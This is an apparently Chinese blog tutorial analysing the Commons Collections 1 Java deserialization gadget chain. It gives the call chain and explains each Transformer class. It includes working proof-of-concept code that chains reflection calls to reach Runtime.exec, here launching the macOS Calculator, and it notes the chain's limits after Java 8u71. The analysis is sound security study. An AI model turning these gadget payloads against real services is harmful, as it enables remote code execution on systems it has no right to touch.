返回介绍

2 CommonsCollections 1 Gadget 分析

发布于 2024-09-16 15:35:00 字数 8328 浏览 0 评论 0 收藏 0

2.1 调用链

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		MapEntry.setValue()
			TransformedMap.checkSetValue()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
					InvokerTransformer.transform()
						Method.invoke()
							Class.getMethod()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.getRuntime()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.exec()

2.2 POC

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "Geekby");

2.3 分析

2.3.1 整体思路

cc1 gadget 的 sink 点在于 InvokerTransformer 类可以通过传入方法名,方法参数类型、方法参数,利用反射机制,进行方法调用。

反向寻找使用了 InvokerTransformer 类中 transform 方法的调用点:

发现 TransformedMap 类中的 checkSetValue 方法中调用了 transform 方法

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
}

TransformedMap 类的成员中,发现 protected final Transformer valueTransformer 属性。通过调用该类的 decorate 方法,可以构造一个 TransformedMap 对象。

接下来去寻找调用了 checkSetValuesource

MapEntry 中,存在 setValue 方法。因此,该链的前半段 POC 如下:

接下来就是去寻找反序列化的入口,在 AnnotationInvocationHandler 类中,重写了 readObject 方法,在该方法中,对 MapEntry 调用了 setValue 方法。

该类非公有,因此,需要通过反射来构造其对象:

Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, outerMap);

对 obj 对象进行反序列化,构成整条链的利用思路。整个过程涉及到如下几个接口和类的具体作用及一些细节如下。

2.3.2 TransformedMap

TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加新的元素时,将可以执行自定义的回调函数。如下,对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map:

MapouterMap = TransformedMap.decorate(innerMap, keyTransformer,  valueTransformer);

其中,keyTransformer 是处理新元素的 Key 的回调,valueTransformer 是处理新元素的 value 的回调。 我们这里所说的「回调」,并不是传统意义上的一个回调函数,而是一个实现了 Transformer 接口的类。

2.3.3 Transformer

Transformer 是一个接口,它只有一个待实现的方法:

TransformedMap 在转换 Map 的新元素时,就会调用 transform 方法,这个过程就类似在调用一个「回调函数」,这个回调的参数是原始对象。

2.3.4 ConstantTransformer

ConstantTransformer 是实现了 Transformer 接口的一个类,它的过程就是在构造函数的时候传入一个对象:

并在 transform 方法将这个对象再返回:

2.3.5 InvokerTransformer

InvokerTransformer 是实现了 Transformer 接口的一个类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。

在实例化这个 InvokerTransformer 时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。

后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法:

以执行 calc 为例:

2.3.6 ChainedTransformer

ChainedTransformer 也是实现了 Transformer 接口的一个类,它的作用是将内部的多个 Transformer 串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。

引用 phith0n 的一张图:

2.3.7 AnnotationInvocationHandler

触发这个漏洞的核心,在于向 Map 中加入一个新的元素。在上面的 demo 中,通过手动执行 outerMap.put("test", "xxxx"); 来触发漏洞,但在实际反序列化时,需要找到一个类,它在反序列化的 readObject 逻辑里有类似的写入操作。

AnnotationInvocationHandler 类中的 readObject

核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...) 。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的 Transform,进而执行 payload。

接下来构造 POC 时,首先创建一个 AnnotationInvocationHandler

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);

construct.setAccessible(true);

Object obj = construct.newInstance(Retention.class, outerMap);

由于 sun.reflect.annotation.AnnotationInvocationHandler 是 JDK 的内部类,其构造函数是私有的,因此通过反射来创建对象。

2.3.8 进一步完善

通过构造 AnnotationInvocationHandler 类,来创建反序列化利用链的起点,用如下代码将对象序列化:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

但是,在经过序列化时,抛出异常:

在本系列的第一部分描述过, java.lang.Runtime 这个类没有实现 Serializable 接口,无法序列化。因此,需要通过反射来获取当前上下文中的 java.lang.Runtime 对象。

Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

转换成 Transformer 的写法:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};

但是,执行过后,发现仍然没有弹出计算器。

动态调试发现与 AnnotationInvocationHandler 类的逻辑有关,在 AnnotationInvocationHandler:readObject 的逻辑中,有一个 if 语句对 var7 进行判断,只有在其不是 null 的时候才会进入里面执行 setValue,否则不会进入也就不会触发漏洞。

那么如何让这个 var7 不为 null 呢?需要如下两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法,假设方法名是 X
  2. 被 TransformedMap.decorate 修饰的 Map 中必须有一个键名为 X 的元素

所以,前面的 payload 中用到了 Retention.class ,因为 Retention 有一个方法,名为 value。为了再满足第二个条件,需要给 Map 中放入一个 Key 是 value 的元素:

innerMap.put("value","Geekby");

但是这个 Payload 有一定局限性,在 Java 8u71 以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文